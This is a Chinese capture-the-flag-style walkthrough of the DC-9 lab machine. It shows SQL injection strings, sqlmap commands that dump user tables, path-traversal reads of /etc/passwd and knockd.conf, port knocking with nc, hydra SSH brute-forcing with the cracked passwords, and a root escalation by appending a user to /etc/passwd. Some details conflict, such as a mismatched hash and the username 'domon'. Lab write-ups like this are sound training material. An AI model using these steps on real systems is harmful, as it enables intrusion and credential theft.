1.靶机部署
kali安装:https://blog.csdn.net/l2872253606/article/details/123592717?spm=1001.2014.3001.5502
靶机下载: https://www.five86.com/downloads/DC-9.zip
解压后得到一个.ova的文件:
使用VMware打开该文件:
设置好名称和虚拟机位置:
注意:导入过程中可能会提示导入失败,点击重试即可。
导入成功,打开虚拟机,到此虚拟机部署完成!
注意:靶机的网络连接模式必须和kali一直,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。
2.信息收集
2.1 扫描靶机IP
2.2 探测开放端口
2.3 其他信息收集
2.4 信息收集总结
- IP:192.168.11.144
- 开放端口:22 80
- 网站服务器:Apache
- 操作系统:Debian
3.渗透过程
3.1 寻找漏洞
对网站进行敏感目录扫描之后,未发现可利用文件
网站有一个搜索框,可以搜索用户信息
测试一下有无SQL注入漏洞:
1' and 1=1#
1' and 1=2#
发现两条语句都没有回显!
没有回显并不代表不存在SQL注入,可能是web服务器屏蔽了回显报错信息,也就是不会报错,这个时候我们就无法判断闭合形式是否为单引号等,只能盲猜一手,而且因为不能报错,也就无法使用order by去判断查询字段长度,但还可以使用union select来判断。
order by:排序
union:合并两条sql语句
3.2 验证漏洞是否存在
首先盲猜为单引号闭合:
当查询6个字段时出现了数据,可以判断这里是存在SQL注入漏洞的。
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
1' union select 1,2,3,4#
1' union select 1,2,3,4,5#
1' union select 1,2,3,4,5,6#
首先解释一下select后面几个数字的意思,1,2,3,4…,这里的几个数字纯粹是凑数的,
凑够和union关键字前面的那个表的字段数一样,不然没法拼接成一个表。
在sql注入的时候,在将相应位置替换成你想获得的数据,查询结果后面就会显示出来。
当然这里可以使用1’ or 1=1#来直接恒等于真,爆出查询语句的内容。也是可以判断这里存在SQL注入漏洞。
1' or 1=1#
3.3 sqlmap数据库爆破
接下来竟然知道这里存在字符型sql注入漏洞,我们使用sqlmap工具来爆出我们所需要的数据库信息:
3.3.1 爆数据库名,由于是POST请求发送数据,所以这里指定–date参数为search
sqlmap -u 'http://192.168.11.144/results.php' --data 'search=1' --dbs --batch
--dbs:列出所有数据库的名称
--batch:自动选择执行过程中出现的询问请求如果存在注入
3.3.2 爆staff数据库表名
sqlmap -u 'http://192.168.11.144/results.php' --data 'search=1' --dbs --batch
sqlmap -u 'http://192.168.11.144/results.php' --data "search=1" -D Staff --tables --batch
3.3.3 爆users表的字段名
sqlmap -u 'http://192.168.11.144/results.php' --data 'search=1' --dbs --batch
sqlmap -u 'http://192.168.11.144/results.php' --data "search=1" -D Staff --tables --batch
sqlmap -u 'http://192.168.11.144/results.php' --data "search=1" -D Staff -T Users --columns --batch
3.3.4 获取字段参数
sqlmap -u 'http://192.168.11.144/results.php' --data 'search=1' --dbs --batch
sqlmap -u 'http://192.168.11.144/results.php' --data "search=1" -D Staff --tables --batch
sqlmap -u 'http://192.168.11.144/results.php' --data "search=1" -D Staff -T Users --columns --batch
sqlmap -u 'http://192.168.11.144/results.php' --data "search=1" -D Staff -T Users -C "UserID,Username,Password" --dump --batch
3.3.5 解密密码
密码:transorbital1
3.3.6 使用相同方法爆一下users表里面的信息
sqlmap -u 'http://192.168.11.144/results.php' --data "search=1" -D users -T UserDetails -C username,password,id --dump --batch
3.4 登录网站
3.4.1 网站页面上的漏洞
登录网站之后,发现扫描也没有,但是有个提示,“文件不存在”,那么,我们是否能联想到文件包含和文件上传漏洞呢?
因为网站使用的是Apache服务器,所以我们大胆猜测一下当前目录是在:/var/www/html,所以:
?file=../../../../etc/passwd
可以看到用户信息:
这几组用户貌似在哪里见过:
这不是之前sql注入users数据库表里的数据嘛那么是不是可以尝试一下ssh爆破,毕竟数据表里有账号密码,但是,我们在进行信息收集的过程中看到过,这里 ssh 的22端口状态是filtered 的,猜想是被服务器装了 knockd 工具隐藏了。查找 knockd(保证指定端口)的配置文件(/etc/knockd.conf)
3.4.2 查看防火墙配置
?file=../../../../etc/knockd.conf
发现只有分别去连续访问这三个端口,ssh服务才会打开 7469 8475 9842
分别对这三个端口进行敲门!
最后在扫描,发现端口开了!
nc 192.168.11.144 7469
nc 192.168.11.144 8475
nc 192.168.11.144 9842
3.5 爆破
将之前sqlmap爆出来的用户名和密码分别存放到新的文本里,进行爆破:
hydra -L dc-9-user.txt -P dc-9-passwd.txt 192.168.11.144 ssh
成功爆出三组账号密码:
[22][ssh] host: 192.168.11.144 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.11.144 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.11.144 login: janitor password: Ilovepeepee
3.6 二次爆破
得到三组账号和密码之后,分别登录进行信息收集!
最后在janitor账号下发现一个密码字典
将其复制出来,再进行爆破!
[22][ssh] host: 192.168.11.144 login: fredf password: B4-Tru3-001
用得到的用户登录一下试试:
3.7 提权
查看当前用户有没有可以提权的地方
在查看权限时,发现一个test路径。运行一下发现test是一个python文件,使用find查找文件所在位置:
查看文件内容:
经过查看发现这个py文件的大致内容就是将参数1的内容写入参数2中,接下来尝试进行提权。
3.7.1 使用openssl passwd创建一个新用户和密码
openssl passwd -1 -salt admin admin
$1$admin$1kgWpnZpUx.vTroWPXPIB0
新建一个文本,写入一串与passwd格式相同的数据,权限不够的话可以移步到tmp目录下
echo 'demon:$1$demon$Mspg7FhbFwGLZ4T2s/qI6/:0:0:root:/bin/bash' >> /tmp/demo
运行脚本将数据写入到/etc/passwd里面
sudo ./test /tmp/demo /etc/passwd
切换到我们写入的用户
su domon
最后提权成功!!!